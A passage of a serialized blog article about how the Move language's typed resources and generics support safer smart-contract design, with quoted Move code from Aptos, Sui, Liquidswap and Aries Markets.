safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":23,"tag":24,"props":5734,"children":5735},{},[5736],{"type":28,"value":5737},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":23,"tag":24,"props":5739,"children":5740},{},[5741,5743,5748,5750,5755],{"type":28,"value":5742},"In this piece I'll seek to discuss exactly ",{"type":23,"tag":2913,"props":5744,"children":5745},{},[5746],{"type":28,"value":5747},"how",{"type":28,"value":5749}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":23,"tag":2913,"props":5751,"children":5752},{},[5753],{"type":28,"value":5754},"structurally",{"type":28,"value":5756}," safer programs.",{"type":23,"tag":446,"props":5758,"children":5760},{"id":5759},"types",[5761],{"type":28,"value":5762},"Types",{"type":23,"tag":24,"props":5764,"children":5765},{},[5766,5768,5774],{"type":28,"value":5767},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":23,"tag":37,"props":5769,"children":5771},{"className":5770},[],[5772],{"type":28,"value":5773},"coin.move",{"type":28,"value":706},{"type":23,"tag":31,"props":5776,"children":5778},{"className":2982,"code":5777,"language":2981,"meta":7,"style":7},"  /// Main structure representing a coin/token in an account's custody.\n  struct Coin\u003Cphantom CoinType> has store {\n      /// Amount of coin this address has.\n      value: u64,\n  }\n",[5779],{"type":23,"tag":37,"props":5780,"children":5781},{"__ignoreMap":7},[5782,5790,5836,5844,5865],{"type":23,"tag":41,"props":5783,"children":5784},{"class":43,"line":44},[5785],{"type":23,"tag":41,"props":5786,"children":5787},{"style":48},[5788],{"type":28,"value":5789},"  /// Main structure representing a coin/token in an account's custody.\n",{"type":23,"tag":41,"props":5791,"children":5792},{"class":43,"line":54},[5793,5798,5803,5807,5812,5817,5822,5827,5832],{"type":23,"tag":41,"props":5794,"children":5795},{"style":64},[5796],{"type":28,"value":5797},"  struct",{"type":23,"tag":41,"props":5799,"children":5800},{"style":94},[5801],{"type":28,"value":5802}," Coin",{"type":23,"tag":41,"props":5804,"children":5805},{"style":70},[5806],{"type":28,"value":1012},{"type":23,"tag":41,"props":5808,"children":5809},{"style":858},[5810],{"type":28,"value":5811},"phantom",{"type":23,"tag":41,"props":5813,"children":5814},{"style":94},[5815],{"type":28,"value":5816}," CoinType",{"type":23,"tag":41,"props":5818,"children":5819},{"style":70},[5820],{"type":28,"value":5821},"> ",{"type":23,"tag":41,"props":5823,"children":5824},{"style":858},[5825],{"type":28,"value":5826},"has",{"type":23,"tag":41,"props":5828,"children":5829},{"style":858},[5830],{"type":28,"value":5831}," store",{"type":23,"tag":41,"props":5833,"children":5834},{"style":70},[5835],{"type":28,"value":102},{"type":23,"tag":41,"props":5837,"children":5838},{"class":43,"line":76},[5839],{"type":23,"tag":41,"props":5840,"children":5841},{"style":48},[5842],{"type":28,"value":5843},"      /// Amount of coin this address has.\n",{"type":23,"tag":41,"props":5845,"children":5846},{"class":43,"line":85},[5847,5852,5856,5861],{"type":23,"tag":41,"props":5848,"children":5849},{"style":858},[5850],{"type":28,"value":5851},"      value",{"type":23,"tag":41,"props":5853,"children":5854},{"style":170},[5855],{"type":28,"value":1474},{"type":23,"tag":41,"props":5857,"children":5858},{"style":94},[5859],{"type":28,"value":5860}," u64",{"type":23,"tag":41,"props":5862,"children":5863},{"style":70},[5864],{"type":28,"value":3506},{"type":23,"tag":41,"props":5866,"children":5867},{"class":43,"line":105},[5868],{"type":23,"tag":41,"props":5869,"children":5870},{"style":70},[5871],{"type":28,"value":5872},"  }\n",{"type":23,"tag":24,"props":5874,"children":5875},{},[5876],{"type":23,"tag":2913,"props":5877,"children":5878},{},[5879],{"type":28,"value":5880},"aptos",{"type":23,"tag":31,"props":5882,"children":5884},{"className":2982,"code":5883,"language":2981,"meta":7,"style":7},"  /// A coin of type `T` worth `value`. Transferable and storable\n  struct Coin\u003Cphantom T> has key, store {\n      id: UID,\n      balance: Balance\u003CT>\n  }\n",[5885],{"type":23,"tag":37,"props":5886,"children":5887},{"__ignoreMap":7},[5888,5896,5945,5962,5991],{"type":23,"tag":41,"props":5889,"children":5890},{"class":43,"line":44},[5891],{"type":23,"tag":41,"props":5892,"children":5893},{"style":48},[5894],{"type":28,"value":5895},"  /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":23,"tag":41,"props":5897,"children":5898},{"class":43,"line":54},[5899,5903,5907,5911,5915,5919,5923,5927,5932,5936,5941],{"type":23,"tag":41,"props":5900,"children":5901},{"style":64},[5902],{"type":28,"value":5797},{"type":23,"tag":41,"props":5904,"children":5905},{"style":94},[5906],{"type":28,"value":5802},{"type":23,"tag":41,"props":5908,"children":5909},{"style":70},[5910],{"type":28,"value":1012},{"type":23,"tag":41,"props":5912,"children":5913},{"style":858},[5914],{"type":28,"value":5811},{"type":23,"tag":41,"props":5916,"children":5917},{"style":94},[5918],{"type":28,"value":819},{"type":23,"tag":41,"props":5920,"children":5921},{"style":70},[5922],{"type":28,"value":5821},{"type":23,"tag":41,"props":5924,"children":5925},{"style":858},[5926],{"type":28,"value":5826},{"type":23,"tag":41,"props":5928,"children":5929},{"style":858},[5930],{"type":28,"value":5931}," key",{"type":23,"tag":41,"props":5933,"children":5934},{"style":70},[5935],{"type":28,"value":970},{"type":23,"tag":41,"props":5937,"children":5938},{"style":858},[5939],{"type":28,"value":5940},"store",{"type":23,"tag":41,"props":5942,"children":5943},{"style":70},[5944],{"type":28,"value":102},{"type":23,"tag":41,"props":5946,"children":5947},{"class":43,"line":76},[5948,5953,5957],{"type":23,"tag":41,"props":5949,"children":5950},{"style":858},[5951],{"type":28,"value":5952},"      id",{"type":23,"tag":41,"props":5954,"children":5955},{"style":170},[5956],{"type":28,"value":1474},{"type":23,"tag":41,"props":5958,"children":5959},{"style":70},[5960],{"type":28,"value":5961}," UID,\n",{"type":23,"tag":41,"props":5963,"children":5964},{"class":43,"line":85},[5965,5970,5974,5979,5983,5987],{"type":23,"tag":41,"props":5966,"children":5967},{"style":858},[5968],{"type":28,"value":5969},"      balance",{"type":23,"tag":41,"props":5971,"children":5972},{"style":170},[5973],{"type":28,"value":1474},{"type":23,"tag":41,"props":5975,"children":5976},{"style":94},[5977],{"type":28,"value":5978}," Balance",{"type":23,"tag":41,"props":5980,"children":5981},{"style":70},[5982],{"type":28,"value":1012},{"type":23,"tag":41,"props":5984,"children":5985},{"style":94},[5986],{"type":28,"value":1634},{"type":23,"tag":41,"props":5988,"children":5989},{"style":70},[5990],{"type":28,"value":773},{"type":23,"tag":41,"props":5992,"children":5993},{"class":43,"line":105},[5994],{"type":23,"tag":41,"props":5995,"children":5996},{"style":70},[5997],{"type":28,"value":5872},{"type":23,"tag":24,"props":5999,"children":6000},{},[6001],{"type":23,"tag":2913,"props":6002,"children":6003},{},[6004],{"type":28,"value":6005},"sui",{"type":23,"tag":24,"props":6007,"children":6008},{},[6009,6011,6018,6020,6026],{"type":28,"value":6010},"Pulling an example from ",{"type":23,"tag":458,"props":6012,"children":6015},{"href":6013,"rel":6014},"https://pontem.network/",[462],[6016],{"type":28,"value":6017},"Pontem Network's",{"type":28,"value":6019}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":23,"tag":37,"props":6021,"children":6023},{"className":6022},[],[6024],{"type":28,"value":6025},"LiquidityPool",{"type":28,"value":6027}," natively embeds this type information into it's fields.",{"type":23,"tag":31,"props":6029,"children":6031},{"className":2982,"code":6030,"language":2981,"meta":7,"style":7},"    /// Liquidity pool with reserves.\n    struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n        coin_x_reserve: Coin\u003CX>,\n        coin_y_reserve: Coin\u003CY>,\n        // ...\n    }\n",[6032],{"type":23,"tag":37,"props":6033,"children":6034},{"__ignoreMap":7},[6035,6043,6107,6137,6166,6174],{"type":23,"tag":41,"props":6036,"children":6037},{"class":43,"line":44},[6038],{"type":23,"tag":41,"props":6039,"children":6040},{"style":48},[6041],{"type":28,"value":6042},"    /// Liquidity pool with reserves.\n",{"type":23,"tag":41,"props":6044,"children":6045},{"class":43,"line":54},[6046,6051,6056,6060,6064,6069,6073,6077,6082,6086,6090,6095,6099,6103],{"type":23,"tag":41,"props":6047,"children":6048},{"style":64},[6049],{"type":28,"value":6050},"    struct",{"type":23,"tag":41,"props":6052,"children":6053},{"style":94},[6054],{"type":28,"value":6055}," LiquidityPool",{"type":23,"tag":41,"props":6057,"children":6058},{"style":70},[6059],{"type":28,"value":1012},{"type":23,"tag":41,"props":6061,"children":6062},{"style":858},[6063],{"type":28,"value":5811},{"type":23,"tag":41,"props":6065,"children":6066},{"style":94},[6067],{"type":28,"value":6068}," X",{"type":23,"tag":41,"props":6070,"children":6071},{"style":70},[6072],{"type":28,"value":970},{"type":23,"tag":41,"props":6074,"children":6075},{"style":858},[6076],{"type":28,"value":5811},{"type":23,"tag":41,"props":6078,"children":6079},{"style":94},[6080],{"type":28,"value":6081}," Y",{"type":23,"tag":41,"props":6083,"children":6084},{"style":70},[6085],{"type":28,"value":970},{"type":23,"tag":41,"props":6087,"children":6088},{"style":858},[6089],{"type":28,"value":5811},{"type":23,"tag":41,"props":6091,"children":6092},{"style":70},[6093],{"type":28,"value":6094}," LP> ",{"type":23,"tag":41,"props":6096,"children":6097},{"style":858},[6098],{"type":28,"value":5826},{"type":23,"tag":41,"props":6100,"children":6101},{"style":858},[6102],{"type":28,"value":5931},{"type":23,"tag":41,"props":6104,"children":6105},{"style":70},[6106],{"type":28,"value":102},{"type":23,"tag":41,"props":6108,"children":6109},{"class":43,"line":76},[6110,6115,6119,6123,6127,6132],{"type":23,"tag":41,"props":6111,"children":6112},{"style":858},[6113],{"type":28,"value":6114},"        coin_x_reserve",{"type":23,"tag":41,"props":6116,"children":6117},{"style":170},[6118],{"type":28,"value":1474},{"type":23,"tag":41,"props":6120,"children":6121},{"style":94},[6122],{"type":28,"value":5802},{"type":23,"tag":41,"props":6124,"children":6125},{"style":70},[6126],{"type":28,"value":1012},{"type":23,"tag":41,"props":6128,"children":6129},{"style":94},[6130],{"type":28,"value":6131},"X",{"type":23,"tag":41,"props":6133,"children":6134},{"style":70},[6135],{"type":28,"value":6136},">,\n",{"type":23,"tag":41,"props":6138,"children":6139},{"class":43,"line":85},[6140,6145,6149,6153,6157,6162],{"type":23,"tag":41,"props":6141,"children":6142},{"style":858},[6143],{"type":28,"value":6144},"        coin_y_reserve",{"type":23,"tag":41,"props":6146,"children":6147},{"style":170},[6148],{"type":28,"value":1474},{"type":23,"tag":41,"props":6150,"children":6151},{"style":94},[6152],{"type":28,"value":5802},{"type":23,"tag":41,"props":6154,"children":6155},{"style":70},[6156],{"type":28,"value":1012},{"type":23,"tag":41,"props":6158,"children":6159},{"style":94},[6160],{"type":28,"value":6161},"Y",{"type":23,"tag":41,"props":6163,"children":6164},{"style":70},[6165],{"type":28,"value":6136},{"type":23,"tag":41,"props":6167,"children":6168},{"class":43,"line":105},[6169],{"type":23,"tag":41,"props":6170,"children":6171},{"style":48},[6172],{"type":28,"value":6173},"        // ...\n",{"type":23,"tag":41,"props":6175,"children":6176},{"class":43,"line":155},[6177],{"type":23,"tag":41,"props":6178,"children":6179},{"style":70},[6180],{"type":28,"value":192},{"type":23,"tag":24,"props":6182,"children":6183},{},[6184],{"type":28,"value":6185},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":23,"tag":31,"props":6187,"children":6189},{"className":2982,"code":6188,"language":2981,"meta":7,"style":7},"      public fun mint\u003CX, Y, LP>(\n          pool_addr: address,\n          coin_x: Coin\u003CX>,\n          coin_y: Coin\u003CY>\n      ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n          // ...\n\n          let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[6190],{"type":23,"tag":37,"props":6191,"children":6192},{"__ignoreMap":7},[6193,6232,6253,6281,6309,6360,6368,6375],{"type":23,"tag":41,"props":6194,"children":6195},{"class":43,"line":44},[6196,6201,6206,6211,6215,6219,6223,6227],{"type":23,"tag":41,"props":6197,"children":6198},{"style":858},[6199],{"type":28,"value":6200},"      public",{"type":23,"tag":41,"props":6202,"children":6203},{"style":858},[6204],{"type":28,"value":6205}," fun",{"type":23,"tag":41,"props":6207,"children":6208},{"style":858},[6209],{"type":28,"value":6210}," mint",{"type":23,"tag":41,"props":6212,"children":6213},{"style":70},[6214],{"type":28,"value":1012},{"type":23,"tag":41,"props":6216,"children":6217},{"style":94},[6218],{"type":28,"value":6131},{"type":23,"tag":41,"props":6220,"children":6221},{"style":70},[6222],{"type":28,"value":970},{"type":23,"tag":41,"props":6224,"children":6225},{"style":94},[6226],{"type":28,"value":6161},{"type":23,"tag":41,"props":6228,"children":6229},{"style":70},[6230],{"type":28,"value":6231},", LP>(\n",{"type":23,"tag":41,"props":6233,"children":6234},{"class":43,"line":54},[6235,6240,6244,6249],{"type":23,"tag":41,"props":6236,"children":6237},{"style":858},[6238],{"type":28,"value":6239},"          pool_addr",{"type":23,"tag":41,"props":6241,"children":6242},{"style":170},[6243],{"type":28,"value":1474},{"type":23,"tag":41,"props":6245,"children":6246},{"style":858},[6247],{"type":28,"value":6248}," address",{"type":23,"tag":41,"props":6250,"children":6251},{"style":70},[6252],{"type":28,"value":3506},{"type":23,"tag":41,"props":6254,"children":6255},{"class":43,"line":76},[6256,6261,6265,6269,6273,6277],{"type":23,"tag":41,"props":6257,"children":6258},{"style":858},[6259],{"type":28,"value":6260},"          coin_x",{"type":23,"tag":41,"props":6262,"children":6263},{"style":170},[6264],{"type":28,"value":1474},{"type":23,"tag":41,"props":6266,"children":6267},{"style":94},[6268],{"type":28,"value":5802},{"type":23,"tag":41,"props":6270,"children":6271},{"style":70},[6272],{"type":28,"value":1012},{"type":23,"tag":41,"props":6274,"children":6275},{"style":94},[6276],{"type":28,"value":6131},{"type":23,"tag":41,"props":6278,"children":6279},{"style":70},[6280],{"type":28,"value":6136},{"type":23,"tag":41,"props":6282,"children":6283},{"class":43,"line":85},[6284,6289,6293,6297,6301,6305],{"type":23,"tag":41,"props":6285,"children":6286},{"style":858},[6287],{"type":28,"value":6288},"          coin_y",{"type":23,"tag":41,"props":6290,"children":6291},{"style":170},[6292],{"type":28,"value":1474},{"type":23,"tag":41,"props":6294,"children":6295},{"style":94},[6296],{"type":28,"value":5802},{"type":23,"tag":41,"props":6298,"children":6299},{"style":70},[6300],{"type":28,"value":1012},{"type":23,"tag":41,"props":6302,"children":6303},{"style":94},[6304],{"type":28,"value":6161},{"type":23,"tag":41,"props":6306,"children":6307},{"style":70},[6308],{"type":28,"value":773},{"type":23,"tag":41,"props":6310,"children":6311},{"class":43,"line":105},[6312,6317,6321,6325,6329,6334,6338,6343,6347,6351,6356],{"type":23,"tag":41,"props":6313,"children":6314},{"style":70},[6315],{"type":28,"value":6316},"      )",{"type":23,"tag":41,"props":6318,"children":6319},{"style":170},[6320],{"type":28,"value":1474},{"type":23,"tag":41,"props":6322,"children":6323},{"style":94},[6324],{"type":28,"value":5802},{"type":23,"tag":41,"props":6326,"children":6327},{"style":70},[6328],{"type":28,"value":1012},{"type":23,"tag":41,"props":6330,"children":6331},{"style":94},[6332],{"type":28,"value":6333},"LP",{"type":23,"tag":41,"props":6335,"children":6336},{"style":70},[6337],{"type":28,"value":5821},{"type":23,"tag":41,"props":6339,"children":6340},{"style":858},[6341],{"type":28,"value":6342},"acquires",{"type":23,"tag":41,"props":6344,"children":6345},{"style":94},[6346],{"type":28,"value":6055},{"type":23,"tag":41,"props":6348,"children":6349},{"style":70},[6350],{"type":28,"value":970},{"type":23,"tag":41,"props":6352,"children":6353},{"style":94},[6354],{"type":28,"value":6355},"EventsStore",{"type":23,"tag":41,"props":6357,"children":6358},{"style":70},[6359],{"type":28,"value":102},{"type":23,"tag":41,"props":6361,"children":6362},{"class":43,"line":155},[6363],{"type":23,"tag":41,"props":6364,"children":6365},{"style":48},[6366],{"type":28,"value":6367},"          // ...\n",{"type":23,"tag":41,"props":6369,"children":6370},{"class":43,"line":186},[6371],{"type":23,"tag":41,"props":6372,"children":6373},{"emptyLinePlaceholder":18},[6374],{"type":28,"value":82},{"type":23,"tag":41,"props":6376,"children":6377},{"class":43,"line":195},[6378,6383,6387,6392,6396,6401,6405,6409,6414,6418,6422,6426,6430,6435,6440],{"type":23,"tag":41,"props":6379,"children":6380},{"style":64},[6381],{"type":28,"value":6382},"          let",{"type":23,"tag":41,"props":6384,"children":6385},{"style":70},[6386],{"type":28,"value":142},{"type":23,"tag":41,"props":6388,"children":6389},{"style":858},[6390],{"type":28,"value":6391},"x_reserve_size",{"type":23,"tag":41,"props":6393,"children":6394},{"style":70},[6395],{"type":28,"value":970},{"type":23,"tag":41,"props":6397,"children":6398},{"style":858},[6399],{"type":28,"value":6400},"y_reserve_size",{"type":23,"tag":41,"props":6402,"children":6403},{"style":70},[6404],{"type":28,"value":866},{"type":23,"tag":41,"props":6406,"children":6407},{"style":170},[6408],{"type":28,"value":2381},{"type":23,"tag":41,"props":6410,"children":6411},{"style":858},[6412],{"type":28,"value":6413}," get_reserves_size",{"type":23,"tag":41,"props":6415,"children":6416},{"style":70},[6417],{"type":28,"value":1012},{"type":23,"tag":41,"props":6419,"children":6420},{"style":94},[6421],{"type":28,"value":6131},{"type":23,"tag":41,"props":6423,"children":6424},{"style":70},[6425],{"type":28,"value":970},{"type":23,"tag":41,"props":6427,"children":6428},{"style":94},[6429],{"type":28,"value":6161},{"type":23,"tag":41,"props":6431,"children":6432},{"style":70},[6433],{"type":28,"value":6434},", LP>(",{"type":23,"tag":41,"props":6436,"children":6437},{"style":858},[6438],{"type":28,"value":6439},"pool_addr",{"type":23,"tag":41,"props":6441,"children":6442},{"style":70},[6443],{"type":28,"value":3825},{"type":23,"tag":24,"props":6445,"children":6446},{},[6447,6449,6455,6457,6464],{"type":28,"value":6448},"As an aside, this generic type information is implemented at runtime in the ",{"type":23,"tag":37,"props":6450,"children":6452},{"className":6451},[],[6453],{"type":28,"value":6454},"ty_args",{"type":28,"value":6456}," ",{"type":23,"tag":458,"props":6458,"children":6461},{"href":6459,"rel":6460},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[462],[6462],{"type":28,"value":6463},"at the vm level",{"type":28,"value":6465},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":23,"tag":24,"props":6467,"children":6468},{},[6469,6471,6477,6479,6485,6487,6493,6494,6500],{"type":28,"value":6470},"In pseucode, this checks that ",{"type":23,"tag":37,"props":6472,"children":6474},{"className":6473},[],[6475],{"type":28,"value":6476},"coin_x.type",{"type":28,"value":6478}," is equal to ",{"type":23,"tag":37,"props":6480,"children":6482},{"className":6481},[],[6483],{"type":28,"value":6484},"pool.x_type",{"type":28,"value":6486},", and ",{"type":23,"tag":37,"props":6488,"children":6490},{"className":6489},[],[6491],{"type":28,"value":6492},"coin_y.type",{"type":28,"value":6478},{"type":23,"tag":37,"props":6495,"children":6497},{"className":6496},[],[6498],{"type":28,"value":6499},"pool.y_type",{"type":28,"value":706},{"type":23,"tag":24,"props":6502,"children":6503},{},[6504],{"type":28,"value":6505},"This type system has two advantages",{"type":23,"tag":5436,"props":6507,"children":6508},{},[6509,6521],{"type":23,"tag":421,"props":6510,"children":6511},{},[6512,6514,6519],{"type":28,"value":6513},"It's required. The type parameter ",{"type":23,"tag":2913,"props":6515,"children":6516},{},[6517],{"type":28,"value":6518},"must",{"type":28,"value":6520}," be specified so it's impossible to forget such a constraint",{"type":23,"tag":421,"props":6522,"children":6523},{},[6524],{"type":28,"value":6525},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":23,"tag":24,"props":6527,"children":6528},{},[6529],{"type":28,"value":6530},"However, this system isn't perfect.",{"type":23,"tag":24,"props":6532,"children":6533},{},[6534,6536,6541],{"type":28,"value":6535},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":23,"tag":510,"props":6537,"children":6538},{},[6539],{"type":28,"value":6540},"an anti-pattern",{"type":28,"value":706},{"type":23,"tag":24,"props":6543,"children":6544},{},[6545,6547,6553],{"type":28,"value":6546},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":23,"tag":37,"props":6548,"children":6550},{"className":6549},[],[6551],{"type":28,"value":6552},"CoinInfo\u003CCoinType>",{"type":28,"value":706},{"type":23,"tag":31,"props":6555,"children":6557},{"className":2982,"code":6556,"language":2981,"meta":7,"style":7},"  fun initialize_internal\u003CCoinType>(\n      // ...\n  ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n      // ...\n\n      assert!(\n          !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n          error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n      );\n",[6558],{"type":23,"tag":37,"props":6559,"children":6560},{"__ignoreMap":7},[6561,6588,6596,6665,6672,6679,6691,6736,6758],{"type":23,"tag":41,"props":6562,"children":6563},{"class":43,"line":44},[6564,6569,6574,6578,6583],{"type":23,"tag":41,"props":6565,"children":6566},{"style":858},[6567],{"type":28,"value":6568},"  fun",{"type":23,"tag":41,"props":6570,"children":6571},{"style":858},[6572],{"type":28,"value":6573}," initialize_internal",{"type":23,"tag":41,"props":6575,"children":6576},{"style":70},[6577],{"type":28,"value":1012},{"type":23,"tag":41,"props":6579,"children":6580},{"style":94},[6581],{"type":28,"value":6582},"CoinType",{"type":23,"tag":41,"props":6584,"children":6585},{"style":70},[6586],{"type":28,"value":6587},">(\n",{"type":23,"tag":41,"props":6589,"children":6590},{"class":43,"line":54},[6591],{"type":23,"tag":41,"props":6592,"children":6593},{"style":48},[6594],{"type":28,"value":6595},"      // ...\n",{"type":23,"tag":41,"props":6597,"children":6598},{"class":43,"line":76},[6599,6604,6608,6612,6617,6621,6625,6630,6635,6639,6643,6647,6652,6656,6660],{"type":23,"tag":41,"props":6600,"children":6601},{"style":70},[6602],{"type":28,"value":6603},"  )",{"type":23,"tag":41,"props":6605,"children":6606},{"style":170},[6607],{"type":28,"value":1474},{"type":23,"tag":41,"props":6609,"children":6610},{"style":70},[6611],{"type":28,"value":142},{"type":23,"tag":41,"props":6613,"children":6614},{"style":94},[6615],{"type":28,"value":6616},"BurnCapability",{"type":23,"tag":41,"props":6618,"children":6619},{"style":70},[6620],{"type":28,"value":1012},{"type":23,"tag":41,"props":6622,"children":6623},{"style":94},[6624],{"type":28,"value":6582},{"type":23,"tag":41,"props":6626,"children":6627},{"style":70},[6628],{"type":28,"value":6629},">, ",{"type":23,"tag":41,"props":6631,"children":6632},{"style":94},[6633],{"type":28,"value":6634},"FreezeCapability",{"type":23,"tag":41,"props":6636,"children":6637},{"style":70},[6638],{"type":28,"value":1012},{"type":23,"tag":41,"props":6640,"children":6641},{"style":94},[6642],{"type":28,"value":6582},{"type":23,"tag":41,"props":6644,"children":6645},{"style":70},[6646],{"type":28,"value":6629},{"type":23,"tag":41,"props":6648,"children":6649},{"style":94},[6650],{"type":28,"value":6651},"MintCapability",{"type":23,"tag":41,"props":6653,"children":6654},{"style":70},[6655],{"type":28,"value":1012},{"type":23,"tag":41,"props":6657,"children":6658},{"style":94},[6659],{"type":28,"value":6582},{"type":23,"tag":41,"props":6661,"children":6662},{"style":70},[6663],{"type":28,"value":6664},">) {\n",{"type":23,"tag":41,"props":6666,"children":6667},{"class":43,"line":85},[6668],{"type":23,"tag":41,"props":6669,"children":6670},{"style":48},[6671],{"type":28,"value":6595},{"type":23,"tag":41,"props":6673,"children":6674},{"class":43,"line":105},[6675],{"type":23,"tag":41,"props":6676,"children":6677},{"emptyLinePlaceholder":18},[6678],{"type":28,"value":82},{"type":23,"tag":41,"props":6680,"children":6681},{"class":43,"line":155},[6682,6687],{"type":23,"tag":41,"props":6683,"children":6684},{"style":114},[6685],{"type":28,"value":6686},"      assert!",{"type":23,"tag":41,"props":6688,"children":6689},{"style":70},[6690],{"type":28,"value":3461},{"type":23,"tag":41,"props":6692,"children":6693},{"class":43,"line":186},[6694,6699,6704,6708,6713,6717,6721,6726,6731],{"type":23,"tag":41,"props":6695,"children":6696},{"style":170},[6697],{"type":28,"value":6698},"          !",{"type":23,"tag":41,"props":6700,"children":6701},{"style":858},[6702],{"type":28,"value":6703},"exists",{"type":23,"tag":41,"props":6705,"children":6706},{"style":70},[6707],{"type":28,"value":1012},{"type":23,"tag":41,"props":6709,"children":6710},{"style":94},[6711],{"type":28,"value":6712},"CoinInfo",{"type":23,"tag":41,"props":6714,"children":6715},{"style":70},[6716],{"type":28,"value":1012},{"type":23,"tag":41,"props":6718,"children":6719},{"style":94},[6720],{"type":28,"value":6582},{"type":23,"tag":41,"props":6722,"children":6723},{"style":70},[6724],{"type":28,"value":6725},">>(",{"type":23,"tag":41,"props":6727,"children":6728},{"style":858},[6729],{"type":28,"value":6730},"account_addr",{"type":23,"tag":41,"props":6732,"children":6733},{"style":70},[6734],{"type":28,"value":6735},"),\n",{"type":23,"tag":41,"props":6737,"children":6738},{"class":43,"line":195},[6739,6744,6748,6753],{"type":23,"tag":41,"props":6740,"children":6741},{"style":70},[6742],{"type":28,"value":6743},"          error",{"type":23,"tag":41,"props":6745,"children":6746},{"style":170},[6747],{"type":28,"value":3479},{"type":23,"tag":41,"props":6749,"children":6750},{"style":114},[6751],{"type":28,"value":6752},"already_exists",{"type":23,"tag":41,"props":6754,"children":6755},{"style":70},[6756],{"type":28,"value":6757},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":23,"tag":41,"props":6759,"children":6760},{"class":43,"line":905},[6761],{"type":23,"tag":41,"props":6762,"children":6763},{"style":70},[6764],{"type":28,"value":6765},"      );\n",{"type":23,"tag":24,"props":6767,"children":6768},{},[6769,6771,6776],{"type":28,"value":6770},"While this ",{"type":23,"tag":37,"props":6772,"children":6774},{"className":6773},[],[6775],{"type":28,"value":6712},{"type":28,"value":6777}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":23,"tag":24,"props":6779,"children":6780},{},[6781,6783,6790],{"type":28,"value":6782},"Similarly, consider ",{"type":23,"tag":458,"props":6784,"children":6787},{"href":6785,"rel":6786},"https://ariesmarkets.xyz/",[462],[6788],{"type":28,"value":6789},"Aries Markets",{"type":28,"value":6791},", a lending/borrowing protocol building on Aptos.",{"type":23,"tag":24,"props":6793,"children":6794},{},[6795,6797,6803],{"type":28,"value":6796},"Their ",{"type":23,"tag":37,"props":6798,"children":6800},{"className":6799},[],[6801],{"type":28,"value":6802},"ReserveCoinContainer",{"type":28,"value":6804}," struct stores all the relevant data and resources for managing a lending market.",{"type":23,"tag":31,"props":6806,"children":6808},{"className":2982,"code":6807,"language":2981,"meta":7,"style":7},"  /// The struct to hold all the underlying `Coin`s.\n  /// Stored as a resources.\n  struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n      /// Stores the available `Coin`.\n      underlying_coin: Coin\u003CCoin0>,\n      /// Stores the LP `Coin` that act as collateral.\n      collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n      /// Mint capability for LP Coin.\n      mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n      /// Burn capability for LP Coin.\n      burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n      // ...\n  }\n\n",[6809],{"type":23,"tag":37,"props":6810,"children":6811},{"__ignoreMap":7},[6812,6820,6828,6869,6877,6906,6914,6951,6959,6996,7004,7041,7048,7055],{"type":23,"tag":41,"props":6813,"children":6814},{"class":43,"line":44},[6815],{"type":23,"tag":41,"props":6816,"children":6817},{"style":48},[6818],{"type":28,"value":6819},"  /// The struct to hold all the underlying `Coin`s.\n",{"type":23,"tag":41,"props":6821,"children":6822},{"class":43,"line":54},[6823],{"type":23,"tag":41,"props":6824,"children":6825},{"style":48},[6826],{"type":28,"value":6827},"  /// Stored as a resources.\n",{"type":23,"tag":41,"props":6829,"children":6830},{"class":43,"line":76},[6831,6835,6840,6844,6848,6853,6857,6861,6865],{"type":23,"tag":41,"props":6832,"children":6833},{"style":64},[6834],{"type":28,"value":5797},{"type":23,"tag":41,"props":6836,"children":6837},{"style":94},[6838],{"type":28,"value":6839}," ReserveCoinContainer",{"type":23,"tag":41,"props":6841,"children":6842},{"style":70},[6843],{"type":28,"value":1012},{"type":23,"tag":41,"props":6845,"children":6846},{"style":858},[6847],{"type":28,"value":5811},{"type":23,"tag":41,"props":6849,"children":6850},{"style":94},[6851],{"type":28,"value":6852}," Coin0",{"type":23,"tag":41,"props":6854,"children":6855},{"style":70},[6856],{"type":28,"value":5821},{"type":23,"tag":41,"props":6858,"children":6859},{"style":858},[6860],{"type":28,"value":5826},{"type":23,"tag":41,"props":6862,"children":6863},{"style":858},[6864],{"type":28,"value":5931},{"type":23,"tag":41,"props":6866,"children":6867},{"style":70},[6868],{"type":28,"value":102},{"type":23,"tag":41,"props":6870,"children":6871},{"class":43,"line":85},[6872],{"type":23,"tag":41,"props":6873,"children":6874},{"style":48},[6875],{"type":28,"value":6876},"      /// Stores the available `Coin`.\n",{"type":23,"tag":41,"props":6878,"children":6879},{"class":43,"line":105},[6880,6885,6889,6893,6897,6902],{"type":23,"tag":41,"props":6881,"children":6882},{"style":858},[6883],{"type":28,"value":6884},"      